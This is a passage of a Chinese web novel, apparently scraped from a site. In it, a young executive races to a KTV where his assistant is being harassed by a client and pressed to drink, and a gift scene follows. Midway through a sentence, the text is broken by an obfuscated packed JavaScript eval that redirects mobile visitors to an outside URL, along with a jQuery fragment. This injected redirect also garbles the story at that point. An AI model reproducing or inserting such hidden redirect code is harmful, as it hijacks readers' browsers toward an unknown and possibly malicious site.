幸好顾妙的对话框在他微信里是置顶的,见她莫名其妙发了一个定位,魏如栩好奇地点开看。 不看不知道,一看——小魏总的脑袋顿时“轰”地一响,险些要炸了。 他想都没想就给顾妙把电话打了过去,恼人的等待音一直响,却始终没有人接。 魏如栩举着电话,往停车的地方跑去。这破台球厅门口没法停车,他们来的时候把车停进了附近商场的地下车库。 往商场跑的路上魏如栩打了无数个电话,都没有人接,伴随着找不到人的抓狂,各种可怕的设想如同魔咒一般钻进了他的脑子里,吓得他险些魂飞魄散。 “冷静一点,冷静。那孙总不敢把她怎么样,顾妙那么机灵,一定会保护自己。”魏如栩第N次拨出顾妙的电话,心急如焚,“快接电话!” 电话始终不通,魏如栩脑门上跑出了汗,而他的大脑此刻更像是被煮沸了的浆糊,晕乎乎的失去了思考的能力。他在地下车库一通乱转,慌乱之中竟然找不到自己的车,想到要拿钥匙出来定位,一摸裤袋,却发现钥匙放在了外套口袋里,而外套还在台球厅。 魏如栩好像从来没有这么孤立无援过,他仿佛弄丢了最心爱的宝贝,三魂七魄快要灰飞烟灭,心脏跳得如同急切的鼓点,鼓胀得快要爆掉。 “干!”他恶狠狠地骂了一句,撒腿跑出地库,正好看到出租车下客区有人刚下车,他想都没想都钻了进去,告诉司机目的地,“师傅,快点开,赶着救命!” 出租车司机见他戴着金色耳钉,穿得流里流气(其实是街头风),去的又是娱乐场所,还以为他是什么小混混,赶着去打群架,吓得二话不敢说,一踩油门,车就蹦了出去。 好在周末不怎么堵车,司机贴着最高限速开,魏如栩便也没催他——其实也是顾不上催。 此刻他靠在车门一侧,焦急地咬着手指抖着腿,眉毛皱成了一团。想了片刻,他拨了廖玄的号,想好好问个清楚。 可偏偏廖玄的电话也没人接,他疯了似地去打车翔的电话,依旧无人接听。魏如栩恨死那机械的等待音了,最茫然无措的时候他联系了盛然。 谢天谢地,盛然接了:“喂,小魏总?” “你知道顾妙在哪吗?”魏如栩紧张得声音有些颤抖。 “不知道啊。”盛然听出他不太对劲,“出什么事了?” 魏如栩深呼吸一口气,陈述事实:“顾妙给我的最后一条微信是她遇上了廖玄和世纪明光的孙总,被带去了KTV。现在我给顾妙、廖玄和车翔打电话都没有人接,麻烦你帮我问下客户部的人,看看有没有人知道具体什么情况。我在赶往KTV的路上。” “好,我这就联系。”盛然顿了顿,“小魏总,你也别太着急,应该不会有事。” “嗯,我知道。”魏如栩没注意他说话的尾音都已经变调了,挂上电话,紧紧握着手机,浑身还是止不住地抖。 不会有事的,可能是KTV太吵,他们都没听见吧。 我只是关心则乱,对,关心则乱。 魏如栩强迫自己稳住心神,尝试着深呼吸,然后再次试图给顾妙打电话,仍旧没人接。他在这种上天无路、入地无门般的绝望里浸了二十分钟,险些被这情绪沤成了人干,终于看到了那个豪华的城市综合体。 “师傅,在这边放我下来就行。”魏如栩一刻也坐不住,他下了车,甩开长腿向KTV的方向奔去。 气喘吁吁地进了KTV大门,他头脑不清醒地推开迎宾的服务生,循着包间名一个个地翻找。 游鱼阁,很有文化底蕴的名字,想必是出自“伯牙鼓琴,游鱼出听”。魏如栩慌乱地走着,脑海中莫名想起了这句话,这还是小时候妈妈弹钢琴给他听的时候讲的典故。 那么美好,应该不会跟什么恶心的事情纠缠在一起吧。 魏如栩眼睛终于扫到了“游鱼阁”三个字,一把推开了包间的大门。 71. 第七十一章 顾助理屡出奇招 KTV包间里没有挂钟,顾妙不知时间,又时刻挂念着魏如栩看没看到她微信、万一联系不上她会不会担心,整个人持续出现精分的症状。 原本她唱歌就不在行,在这种一心二用的情况下,跑调跑得更是如同断了线的风筝,撞了南墙都不回头,还能把好心陪她唱的人也给带着往天空奔跑,简直要挣脱地心引力冲向宇宙。 为了躲避孙总的“追魂手”,她算彻底放飞自我,不管多难听、多丢脸,都咬牙唱下去,站在大屏幕前,拿出了一名歌王的稳重台风。 顾妙第一首歌唱第一句的时候,车翔就吃惊地瞪大了眼,他是真没想到,姑娘不仅漂亮,跑起调来也这么别具一格。他看看廖玄和孙总,见他们端坐沙发表情平静,丝毫没有大惊小怪,不禁暗暗感叹大佬就是稳重。 倒是那几个市场经理意味深长地面面相觑,其中一个还打趣地说:“哟,小顾,真人不露相,你这可真是开口跪。” 如果顾妙唱得只是普通难听或者普通好听,这可以理解为是一句违心的赞美。可……反正顾助理的歌声跟鬼哭狼嚎相比不遑多让,再口水的歌她都能将音调唱得向前或向后随机平移若干音符——要这么说来她其实也是有调的,只不过等于自己重新作曲罢了。 然而顾妙似乎毫无察觉,听到别人的评论,她还在过门的间隙回头冲大家行个屈膝舞台礼,附赠装出来的羞涩一笑。 见她听不出好赖话,大家也不好再说什么,先是屏住呼吸地强行欣赏了一会儿,然后就开始各自交头接耳,力图把这“绕梁三日”的仙乐屏蔽掉。 好不容易等顾妙唱完了一首,有人拿起另一个话筒准备唱自己点的歌,谁知顾妙冲他嘿嘿一笑,嘴甜地说:“哥哥,下一个是我最拿手的,求不切。” 妹子都这么说了,自然没有不让的道理。再说,那小伙琢磨,既然拿手,想必也不会太差。 然而,对于顾小妙唱歌跑调程度的揣测,所有人都过分单纯了。 那就是一个无底洞。 这首被顾妙声称为最拿手的歌,已经被跑调到了平行空间,如果原唱和词曲作者在场,想必搭上整个演艺生涯,他们都会极力否认这首歌出自自己的手笔。 全场人员再次听得目瞪口呆。 车翔侧面观察,廖玄终于忍不住,嘴角抽搐了几下。孙总也微微地皱起眉,借着抠耳朵的动作,干扰了一下这魔音穿脑的效果。 几个市场经理纷纷表示要去洗手间,郑助理也跟着起身,与大家同行。 车翔也挪动了一下,立刻被廖玄发现了意图:“干什么去?” “我也想上厕所。”车翔两股战战。 廖玄皱着眉:“去了这么多人,不怕排队吗?等会儿再去!” 行叭。其实车翔是真有点想尿,现在只好夹着腿坐回沙发上,又不能玩手机,简直度秒如年。 谁知这边孙总却也忍不住了,站起身来:“啊那什么,我也去一下,马上回来。” 待他一出门,顾妙也发现事情不太对,满屋的人居然走了一多半。 嘻嘻,奸计达成! 但这个奸计有个没有预料到的bug——当着客户廖玄不好发作她,可现在她把人家吓走了,他就有了开口的机会。 “顾助理,你聋吗?”廖玄憋了两首歌的尖酸刻薄终于在这一刻爆发了出来,“听不见自己唱成什么德行了,还好意思在这儿当麦霸?把孙总高血压唱出来你就满意了?” 顾妙回头,讪讪地看着廖玄,又求救般地看了一眼车翔。 车翔不忍看她那双眼睛,垂下眼皮,痛心疾首地点了点头。 “看什么看,还不赶紧把话筒放下?!”廖玄斥责顾妙,“就不说你嚎的什么丧,有像你这样跟客户抢着唱歌的吗?给我滚过来!” 顾妙只好把话筒放在茶几上,无奈地走到廖玄旁边坐下,屁股只沾了沙发一个边儿,这“端庄”的坐姿跟扎马步有一拼。 “唱不好歌就别出丑,拿出你的特长,陪孙总喝喝酒不行吗?这是我特意带来的蓝方,又喝不坏人。”廖玄吊起眼睛斜看着顾妙,满脸写着“朽木不可雕”。 顾妙忍不住咕哝:“喝酒行,可孙总刚刚他摸我腿……” 听到这话,车翔的眼顿时瞪了起来,看着顾妙委屈巴巴的样子,也是怪不落忍的。 廖玄却不动声色:“摸你腿?怎么摸的?” “就……就刚刚他把手放我大腿上了。”顾妙本不想说这样的恶心事,却又忍不住,现在说出来,心中的委屈倍增,眼圈一酸,感觉就要掉泪了。 “放上去?他乱动了吗?”廖玄按她说的,把手放在车翔的大腿上,“是这样吗?” 车翔顿时一激灵,浑身窜起一层鸡皮疙瘩:“?!” 顾妙瞅了一眼廖玄的手,点头:“嗯,倒没动,就……” “顾助理,不是我说你。”廖玄收回手,一脸嫌弃样,“这就叫摸腿?你是不是有被害妄想症?我还就不信,这么多眼睛明晃晃地盯着,他真敢占你便宜。再说了,你特么傻吗?就坐着让他占?你不会多劝他喝几杯,跟上回似的灌醉了完事儿?” 顾妙瞠目结舌地看着廖玄,她料到这个姓廖的不会站在她这边说话,但没想到这个人竟然无耻到这种程度,连她正面的告知都敢否定,还给她扣了一个被害妄想的大帽子。 廖玄冷冷地看着她:“我知道你是新时代新女性,敢于维护自己的权益,但也别什么都上纲上线,张口闭口就是别人碰你了、性骚扰,你有证据吗?谁知道你是不是装的?再说了,到没到那程度谁知道?万一就是你自己神经过敏,吵吵出去你让孙总的脸往哪搁?小姑娘,你要这么害怕跟人肢体接触,干脆辞职回家别干了!” 听到这近乎无耻的言论,顾妙刚才的委屈被满腔即将爆体而出的怒火取代,她“腾”地站起来,嘴唇颤抖着正想对廖玄说什么,孙总和他的一帮下属一起回来了。 场面气氛微妙地一滞,孙总笑了起来:“唱完了?不继续多唱几首,要我说还是小顾放得开,不矫情。” 顾妙脸色阴沉,攥着拳,浑身发抖,脑子里各种火苗乱窜,也不知道是不是蓝方的酒劲上来了,还是气晕头了,她有些眩晕,气血上涌,太阳穴的血管突突地跳,整个人处在失控的边缘。现在她的力气都用来克制怒火,根本顾不上搭理孙总。 车翔赶紧冲孙总笑了笑:“哪能老唱,机会还得留给大家嘛。顾妙,你刚刚不也要说去洗手间吗,走吧,我陪你过去。” 孙总坐回原位:“那快去吧,小顾,回来继续陪我喝酒,咱俩这才刚起步,没过瘾!” 顾妙跟站桩似地一动不动,廖玄冲车翔使了个眼色,车翔便伸手拉了顾妙的手腕,带着她出了包间。 车翔知道顾妙委屈,这样的事他屡见不鲜,虽然没了什么感觉,但这好歹也是他曾经动过心思的女孩,也不由地柔声安慰了几句:“小妙,廖总说话难听你也不是不知道,别往心里去啊。” 顾妙仰头,瞪着红红的眼睛看他:“翔哥,廖总那番话是个什么腔调相信你心里清楚,我懒得跟他费口舌。可是我想问你,面对我说的那种情况,你也觉得我该忍吗?” “这……”车翔避开她的目光,犹豫地沉吟着,“很多事情不是只有忍或者不忍两个选择,做事还是要圆滑一点……嗯,毕竟你不忍,最后受伤害的可能还是你,你也维护不了自己什么权益,我也是从你的角度考虑。但是我说的不忍不是让你委曲求全,而是想办法避开他。其实刚刚你跑出去唱歌也是对的,我支持你。” “所以你也觉得我不该出声对吗?只是‘机智’地去化解这个困境,作为被骚扰的人,想办法自我解救,而不是让那些无耻的人住手。”顾妙冷笑道,“我明白你的意思——刚刚廖总摸你腿那一下,你什么感觉?享受?” “别说话这么难听,我知道你很不服气,可我们能怎么办呢?没有孙总,可能还有王总、李总是这样的人,这根本不是我们能解决的命题,你就是再委屈,能把他们全从世界上消灭吗?既然不能,干嘛还为这种自己都无能为力的事情生气呢?”车翔被顾妙的嘲讽搞得有点恼羞成怒,可他觉得自己没错,还被好心当成驴肝肺。 顾妙咬着嘴唇,脑中有成千上万的弹幕想跟他对骂,可是退一万步讲,如果能吵赢的话,车翔也好,廖玄也好,现在也不会说出这样的话来。 吵架是没用的,顶多让他们知道这样的言论不恰当,却未必真能改变他们的想法。 刀砍不到自己身上就不觉得疼。 车翔看出顾妙欲言又止,拉了拉她的手臂,换回温和的口吻:“工作当中谁还不受点委屈呢,得学会自己化解。就今天这样的事,估计你将来还会遇到很多,凡事都硬刚,不会有任何好下场。再说了,你不为自己考虑,也得为小魏总考虑,得罪了这个客户,公司业务受打击,咱们小喽啰东家不干干西家,可老板怎么办?” 听到他把魏如栩抬出来,顾妙低着头翻了个白眼,哼,小魏总才不跟你们这样的无耻贱货一样! 可是他怎么到现在还没来,难道刚刚的信息没发出去? 或者,他在赶来的路上出了什么事? 想到这里,顾妙心底一紧,赶紧呸呸呸,她小魏总福大命大,绝对不会有事。 道不同,多说无益。顾妙冲车翔勉强挤出一丝笑容:“嗯,翔哥你说得对,是我自己有情绪了,我会好好反省。” “倒也不用反省,调整好心态,想好应对方式……” 车翔的话还没说完,包间的门被人拉开,郑助理探出头来,看他俩站在门口,怔了怔:“哟,在门口呢?小顾,孙总让我出来看看你怎么还没回来……” “哦,抱歉,进去吧。”顾妙没管车翔,跟郑助理一起回了包间。 孙总一看见顾妙就招呼她:“过来小顾,咱们来喝第二轮。” 顾妙坐在他身旁,像先前一样,尽量侧身对着他,好跟他的身体保持距离,同时时刻保持警惕,避免那双咸猪手靠近自己。只要不给孙总机会,他就不好试探,只要试探不了,他也就不敢更近一步。 在廖玄玩味的目光下,顾妙挖空心思想了很多敬酒词,一杯接一杯地劝孙总喝蓝方,而她也发现了脚边正好有个垃圾桶,就借口自己鼻炎犯了,抽了不少纸巾,然后趁黑灯瞎火没人注意,把自己杯子里的威士忌用纸巾团吸了,扔进垃圾桶里。 孙总自然还是各种尝试想搂她一把,抱她一抱,但只要他伸手,顾妙不是假装低头擤鼻涕,就是站起身来给唱歌的人喝彩,总之尽量每次都让孙总的手落空。 为了找角度,顾妙觉得自己已经快扭成了一条濒死挣扎的蚯蚓,搞得不像是来唱歌,完全是来拉筋的。 几个回合下来,孙总脸上已经见了红光,连连摆手:“哎呀小顾啊,我发现你这个小姑娘真是厉害,又能说又能喝,要是不想做乙方了,将来可以到我们公司市场部来呀,就是不知道老廖舍不舍得放人。” 廖玄今天喝得少,嫌涨肚子没喝啤酒,洋酒就喝了两个杯底,现在灵台十分清明,笑眯眯地说:“做甲方好,换了我可求之不得呢!这小丫头还是只菜鸟,得多历练。” 孙总虚点了廖玄一下:“老廖你管人太严了,对这样的年轻漂亮的小姑娘要怜香惜玉。” 廖玄猥琐地笑:“怜香惜玉我可比不上你啊孙总。” 顾妙不可能倒掉全部的酒,多少还是喝了一点下去,掺了之前几支啤酒,头晕得更厉害,眼皮还有点沉。她心里搁着魏如栩放心不下,觉得非得想办法看下手机不可,于是扶着茶几站起来,跌跌撞撞换到郑助理身边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459448|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“姐姐,能给我拿手机看看吗?” 郑助理其实也想看手机,思忖了一下点点头:“行。” 大家的手机都被郑助理放在包里,于是两人到了门口的衣帽钩旁,廖玄眼尖,喊了一声:“你俩干什么呢?” 顾妙硬着头皮转过身去:“我想看看时间,就拜托郑姐帮我拿下手机。” 廖玄抬起胳膊看了一眼手表:“八点半,才一个多小时,你就忍不住了?” “违规了啊,违规要罚酒!”孙总笑呵呵地加了一句。 郑助理为难地看着顾妙:“还要拿吗?” 顾妙本想就算罚酒她也得看一眼手机到底什么情况,谁知这会儿《北国之春》的伴奏响了起来,廖玄拿过话筒准备唱,孙总兴致大发地站起身,向顾妙走来。 老贱人笑眯眯地说:“这是老廖的拿手歌,他唱得最好,小顾,咱俩跳个舞呗!” 还没等顾妙反应过来,孙总就一把搂住她的腰,将人往怀里带,顺便抓住了顾妙的手。 他身上的酒味儿已经溢了出来,混着体味,发酵成了一股含着酒精的酸味,扑了顾妙满脸,呛得她本能就想呕,好悬才忍住。 一边角落里坐着的车翔紧张地站了起来,生怕顾妙现在就给孙总来个过肩摔,他已经准备事有不妙就冲上去拦截。 顾妙本来头晕,又被孙总的味道顶了个倒仰,还没顾上生气,本能用另一只手推着他的胸口,让自己先尽量离他远点。 廖玄在沙发上坐得稳如泰山,似乎完全不怕出事,气定神闲地开始唱歌。 孙总看顾妙挣扎,皱起眉头:“怎么,不给面子吗?” 顾妙心想好啊,跳就跳,看老娘踩不死你。 她堆起满脸笑容:“跳,当然跳,不过孙总您这交谊舞不标准,我教您。” “来来来,你来。”孙总本来是想跟她贴面的,但见她确实有点抵触,也不敢再多试探,但顾妙服软的态度他倒是挺满意。 顾妙拿起孙总扣在她腰间的手,往上抬放在了自己的肩胛骨上:“孙总,这手放这儿,不是放腰上。” 这么多人看着,也确实不好直接耍流氓,孙总便听从顾妙的安排:“你这是特意学过吗?” “上大学的时候学了点,让您见笑了。”顾妙摆好孙总的另一只手,把自己的手轻轻搭在他手上——她已经决定回家用滚烫的开水洗澡,烫掉一层皮也在所不惜,“我数一二三,咱就开始。” 他俩开始跳的时候,《北国之春》都唱第二段了,顾妙嘴里喊着拍子,让孙总带自己各种旋转。孙总本来就喝高了,转了几圈开始头晕目眩,顾妙又借机自己单转,转出去转回来,就开始踩脚。 孙总:“哎哟!” 顾妙:“不好意思啊踩着您了。” 孙总:“多大事儿,继续——哎!” 顾妙:“抱歉,没站稳,把您踩疼了吧?” 孙总:“小顾,你今天穿的这靴子底儿够硬啊!嘶——” 顾妙:“实在对不起,看来我也没学好,哟,还想着特意避开呢,怎么又踩上了?” 魏如栩推门而入的时候,看到的就是这样一副场景,孙总还抓着顾妙的一只手,但是原本放在她肩胛骨上的那只已经松开了,他胖脸上的肌肉拧得有点变形,因为顾妙刚刚不仅狠狠踩了他一脚,还假装没站稳地又碾了一下——用尽全身的力气碾的,带着血与火一般的仇恨。 满怀报复的快意,顾妙扭头看见了魏如栩,阴暗的空间里他的眸子熠熠发光,仿佛是夜幕里最明亮的星辰,她的心里突然就踏实了,借着肆虐的酒劲儿,冲他绽放了一个开心促狭的微笑。 孙总吃痛,终于松开了顾妙,到抽着凉气在地上轻轻跺脚,恨不得脱了鞋揉脚,没注意谁进了门。 屋里光线昏暗,迪斯科灯还在闪,所有人的目光都在大屏幕上,没人注意到门口这个刚进来的年轻人一脸要吃人的模样。 只有站在门口附近的车翔看见了,不仅看见,还被吓了一跳,他从没见过小魏总这种可怕的表情。 魏如栩觉得一阵头晕目眩,不知道是被气的,还是刚刚跑的,他的胸口剧烈地起伏着,视网膜上只印下顾妙的人影。 直到看见她的笑,他的满心焦灼才堪堪减弱了一点,然后他的眼睛就挪到了顾妙旁边那个扶着沙发的胖子身上。 对了,刚刚这坨肉还拉着顾妙的手! 魏如栩攥了攥拳头,正想给那个肉丸子一点颜色看看,却见顾妙突然对他眨眨眼,接着白眼一翻,就往地上倒去。魏如栩几乎是肌肉里生出的反应,眼疾手快向前跨了一步,把她接了个满怀。 这动静有点大,一下子吸引了所有人的注意,车翔赶紧关上乱花人眼的迪斯科灯,把日光灯打开。 廖玄这下算是看见了魏如栩,不由地皱起眉。 郑助理慌忙扑过来:“小顾这是怎么了?” 其他几个人也紧张地站起来,冲这边张望。 顾妙闭着眼睛,带着笑,拍拍魏如栩的胳膊:“喂,继续……喝!” 孙总哭笑不得:“还以为她酒量好呢,这就醉了。” 魏如栩搂着顾妙,扫了周遭一眼,其实谁都没看:“你们大家继续玩,我把她送回去。” 廖玄面无表情:“那行,你照顾好她吧。” 魏如栩看都没看廖玄,一把将顾妙打横抱起来,走出了车翔拉开的包间门。 KTV隔音效果很好,跟隐约传出的嘈杂相比,走廊里显得十分安静,静得魏如栩能听见自己咚咚咚咚快速响个不停的心跳。 顾妙害怕被摔下来,两手紧紧攀着魏如栩的脖子,在他耳边轻声呢喃:“老板,你最帅了!” 魏如栩目视前方,冷冷地说:“顾助理,我这颗心都被你捅烂了,拍马屁也没用。” 72. 第七十二章 礼物 等顾妙被人抱出去,孙总才反应过来。 “哎,那小伙子是谁?怎么突然就进来了。”孙总看向廖玄,似乎有些不悦。 车翔觑着廖玄的表情,不敢擅自作答。 “也是嘉栩的吧,没准是小顾的男朋友。上回咱们喝完酒,也是他来接的小顾。”郑助理捏了块果盘里的西瓜,边吃边说,“难怪她一直想看手机。” 孙总突然意兴阑珊:“同事之间谈恋爱啊,你们公司允许?” 郑助理忽然想起了什么,站起身跑到门口衣帽钩旁边:“小顾的包和手机还在这呢!” “你们继续玩,我给他们送过去。”车翔连忙伸手接过东西,拉开门跑了出去。 廖玄一直回味着刚刚郑助理说的话:“小郑,你上次就见过他?” “对啊,长得这么帅,我记得可清楚了。”郑助理没有意识到廖玄的口吻,自顾自地说。 旁边一个市场经理起哄:“郑姐你又花痴了!” “去去去,就跟你们不好色似的。”郑助理笑着冲他们扔了块橘子皮。 廖玄的脸忽地暗了下来,冷笑了一声。 车翔追到大门口,见魏如栩还抱着顾妙往前走,丝毫没有放她下来的意思,而顾妙仍旧环着他的脖子,两人的背影看起来十分亲昵。 “小魏总!”车翔按捺下心里复杂的情绪,追了上去,“小顾的东西忘了拿。” 顾妙虽说头晕,但并没有很醉,大庭广众之下她有点不好意思:“老板,放我下来吧。” “放什么放,站都站不稳了还想自己走路?”魏如栩霸道总裁上身,脸色比夜色还黑。 顾妙不敢说话,只得腹诽:“你该知道我是装晕吧……” 魏如栩冲车翔一偏头:“包挂我脖子上,手机塞我后兜里——哼,这没用的玩意留着干什么,不如扔了!” 车翔一一照做,本能替顾妙解释:“不赖小顾,廖总不让大家玩手……” 话还没说完,就见魏如栩凉凉地扫了他一眼,车翔顿时觉得有阵小凉风从后脖颈扫过,立刻从善如流地说:“那我先回去了。” 他一边走一边想,这小魏总知不知道顾妙是……诶,她不会是糊弄我的吧? 顾妙侧头目送车翔的背影,不好意思地把挂在魏如栩脖子上的包拉到自己怀里,再次小心翼翼地建议:“把我放下来吧,不沉吗?” 沉还是沉的,无价之宝能不沉吗。 魏如栩庆幸自己最近没放弃健身,腰力臂力都有所提升,否则也抱不了她这么久,要知道顾助理虽然看着瘦,毕竟个子高,那把骨头还是挺沉的。 “管得着吗?我当健身了。”魏如栩抱着她走确实有点气喘,但架不住心里疼嘴上硬,就想多抱会儿。 顾妙瞥见不远处有个长椅,拍了拍他的肩膀,指了过去:“咱们到那儿坐吧。” 魏如栩沉吟片刻,采纳了她的建议,抱着她去长椅上坐下,但并没放手,而是保持了抱着她的姿势——一手托着她的后背,一手从身前环着她,顾妙就这么尴尬地坐在了他腿上。 顾妙挣扎着想下来:“哎……” “别动。”魏如栩将她抱得更紧,脸埋进了她的肩窝,许久后混乱的呼吸才恢复平静,长长地吁出了一口气,闷声说,“吓死我了知道吗?” 广场上人来人往,很是热闹,这长椅在花坛的凹面,特殊的位置隔绝了大多数的噪音,自成一处不被人打扰的小角落。有微凉的夜风迎面吹来,带走了顾妙微醺的酒气,却似乎将她的酒意从大脑吹进了心里,一股融融的暖流在她心尖荡漾开来,让她有点想……嗯,恃酒行凶。 她缓缓抬手,轻轻抚了抚魏如栩的后脑勺,柔声道:“我知道,对不起。” 为着别人心都提到了喉咙口的感觉她当然知道,因为太了解,所以才害怕,也更对此刻魏如栩的心情感同身受。 刚刚魏如栩冲进门时的紧张和愤怒她看得一清二楚,自然也注意到了他那握起的拳头。顾妙也想把孙总切吧切吧剁了,但她不想让魏如栩打人。 那会脏了他的手。 因此她机智地选择当场晕倒,既能让魏如栩赶紧带她离开,又能化解一场潜在的暴力事件。 一晚上的焦灼与不安在此刻消弭于无形,顾妙只觉得内疚心疼,还有那么一丝变态的甜蜜。 我是不配甜蜜的,顾妙心想,凭什么呢,我都推开他了啊。 不敢付出,自然对得到的东西于心难安,所以她给了自己几分钟的纵容,还是拍了拍魏如栩的肩头:“老板,松开吧,我腿麻。” 她明显感觉到魏如栩肌肉猛地一僵,迟疑了片刻,最终松开了怀抱。 喝得人畜不分的顾妙魏如栩见过,喝得微醺的她这是第一次见。 此刻的顾妙脸颊红扑扑的,圆圆的眼睛没有平时睁的大,带着迷离的笑意看着他,嘴唇水润嫣红,令人很想低头吻上去。 魏如栩心里惊涛拍岸,生怕自己把持不住,避开她的目光,将她放在了椅子上,接着把包和手机都还给了她。 “你也不看看我给你打了多少电话,真是要人命。”魏如栩刚刚把人抱在怀里,才发现比找不到人的时候还要害怕,这种后怕抽走了他所有的力气,此刻的小魏总浑身酸软,连责怪的话听着都像撒娇。 顾妙点了点手机,发现已经被打关机了,着实郁闷:“本来没想在外面待太久,没充电就出门了,谁知道这么不巧。” 魏如栩从刚刚车翔的话里就听出来,没收手机是廖玄的主意,要不然不可能他们三个电话都打不通。此刻他不过是为了掩饰自己片刻的脆弱而故意抱怨,并没有真的责怪顾妙的意思。 “你……没事吧?”魏如栩斟酌着问,一时之间他不好措辞,用“吃亏”“被占便宜”或者“受到侵犯”这种词都觉得过分,“那死胖子有没有……” “他敢,老娘废了他!你来的时候我正虐他的脚呢,踩得他三天下不了地。”顾妙不想跟魏如栩说那令她糟心的细节,随便吹牛盖了过去。 魏如栩笑嘻嘻地撞了撞她的肩膀:“要不要哥帮你出气?罩上麻袋揍他一顿?” “嘁,揍人用得上你吗?我自己就搞定了。”顾妙撇撇嘴,瞪了他一眼,“跟谁自称哥呢?不记得你比我小半个月了?” “哎,不要在乎那些细节,半个月而已,四舍五入就没了。”魏如栩转移话题,“你怎么突然跑出来逛街了,不是说好了在家看专业书吗?” “我买……啊,没什么。”顾妙话说了一半突然改口,傻子都听出有问题。 魏如栩一脸黑线:“骗鬼呢?这是什么?” 顾妙拉开包放手机,却露出了里面宝格丽的包装袋,魏如栩眼疾手快,一把抓了出来。 这样小的包装不是香水就是首饰,看到盒子之后魏如栩更确定是首饰类的东西,而以他对顾妙的了解,这绝对不是她会舍得花钱的领域,因此他顿时就有了个不好的猜测。 “那老男人还送你东西了?”魏如栩心尖被人掐了一下似地哆嗦着,刚下去的怒火再度涌了上来,冲得他脑门发晕,“你绝对不能——袖扣?” 这下他彻底懵了,盯着那盒子发呆,电光石火间意识到一个可能性:这是她给我买的? “呸,他能送我东西?想什么呢?再说了,送我我能要?我是那种人吗?”顾妙伸手去抢魏如栩手里的盒子,却被他突然握住了手。 魏如栩带着满脸难以置信的兴奋,定定地看着她:“你……特意来商场,给我买礼物?” 顾妙试图把手抽出来,无奈他抓得死紧,她只好放弃抵抗,任凭他握着,半死不活地承认:“是,行了吧?但你别喜欢这个,我要去退货。” “为什么?”魏如栩激动得声音都在颤抖。 “被死老头碰过了,我嫌弃。” “不是。”魏如栩捏了捏她的手,强行压抑满脸荡漾的笑意,“我问你为什么要送我礼物?” “……”顾妙转了转眼珠,心想不好说因为之前的事情多有内疚,所以想哄他,突然灵机一动,“是你说的啊,要是我觉得工资太多跟我的实际表现不匹配,就可以买礼物给你弥补。” 魏如栩脸上的笑容僵滞了片刻:“我还说过这种话?我怎么不记得?” 顾妙装作无可奈何的样子叹气,“也不知道是糊弄完就忘,还是假装失忆,总之你们狗直男不负责任的借口多了去了。” “你是我的谁啊,我要对你负责任?”听不到自己想要的原因,魏如栩有点挫败,这话半是矫情半是试探。 顾妙不上套:“怎么,上司对下属没有责任的么?” “心机女,牙尖嘴利!”魏如栩看着那在灯光下闪亮闪亮的袖扣,嘴角仍控制不住地疯狂上扬,他很快就说服了自己,重新高兴起来。 不管怎么样,这都是顾妙主动送他的第一个礼物,动机什么的不重要。 他开心得像个被奖励了糖果的孩子,眼睛在夜色下亮得发光,比那袖扣的银边还要闪亮,顾妙看着他,心里顿时变得柔软。 她拉了拉他的手腕:“别喜欢这个——被你撞破了倒也正好,跟我去专柜换一个吧,你亲自挑。” 瞧她说的,要是喜欢什么、不喜欢什么能自己控制就好了。 看着手里这袖扣,魏如栩还真喜欢,真舍不得,开始转着心思想该怎么留下来。 但他还是乖乖站起来跟她走,像只听话的大狗,脸上一直挂着痴儿一般的傻笑,他拿着那只小小的包装袋,如珠似宝地攥在手里。 顾妙仰头看了他一眼,这种痴傻级别的笑容很少在她小魏总脸上浮现,俊美的容颜配上这样的天真无邪,可爱得有点犯规。 到了一楼专柜,顾妙不好意思地拿出小票,对柜姐说:“抱歉,下午刚买的袖扣,我想换一个。” 柜姐还记得顾妙,对她在专柜转了一下午、看看这里瞟瞟那里的穷酸气息印象深刻。不过此刻她收起了下午对着顾妙的臭脸,因为她看到了魏如栩。 对着帅哥自然要笑脸相迎了,柜姐笑得如春花般灿烂,话像是对顾妙说的,眼睛却一直看着帅哥:“好呀,随意挑选。” 此刻魏如栩突然凑近顾妙:“哎,你刚刚不是想去洗手间吗?” “有吗?”顾妙有点懵,之前有点醉意,不太记得自己说了什么。 魏如栩:“我记得刚从KTV出来的时候你说过,喝了不少酒你难道不想去吗?换货的事儿我搞定就行了。” 被他这么一说,顾妙还真觉得小腹涨涨的,于是点头:“嗯,那好,你慢慢挑。” 说罢她把小票留给了魏如栩,转身去找卫生间。 见心理暗示起了作用,魏如栩目送她离开,随即对柜姐扬起笑脸:“不好意思,不是换,是退货。” 柜姐:“?先生我们……” “我平时很少穿正装,用不着这个。”魏如栩笑得实心实意,带着一点小狗般的祈求,“我女朋友上班很辛苦,我舍不得她为我花这么多钱,就帮我退了吧。” 惦记着业绩提成,还被强塞一口狗粮,柜姐垂死挣扎:“先生你要不看看别的款式?这毕竟也是你女朋友的一点心意。” 听了柜姐的话,魏如栩沉吟了片刻:“要不这样吧,你帮我把这一单退掉,钱是原路退回到她卡里对吗?我自己刷卡买这副袖扣。你看行吗?” 柜姐思考了两秒,痛快答应,心里微微泛起一丝艳羡。 她也算见多识广,本来对这个程度的秀恩爱根本早就免疫了,可帅成魏如栩这样还这么宠女朋友的也不多见——毕竟长得好看的容易被宠坏——酸一下也正常。 “哦对了,”魏如栩想到顾妙认为这副袖扣被孙总“玷污”的说法,嘱咐柜姐,“不要原来这对,给我换一副新的。” 柜姐正在填退货单,疑惑地仰头:“这副有问题吗?” “没问题,就是看着不太顺眼。” 柜姐:“……” 看着不太顺眼还要同款,她开始觉得这个帅哥头脑不是很健全。 魏如栩又补充了一句:“东西包好先放在柜台,明天我再来取。” 顾妙从洗手间出来,就看见魏如栩等在附近,走向他问道:“换好了?换了什么样的,要不要加钱?” 魏如栩哥们儿似地揽住她的肩膀,懒洋洋地说:“怎么办,全都不喜欢,所以我退货了,三个工作日内到账,你注意查收。” “啊?!退了啊……”顾妙顿时觉得很失落,仿佛一个美好的愿望落空了似的。 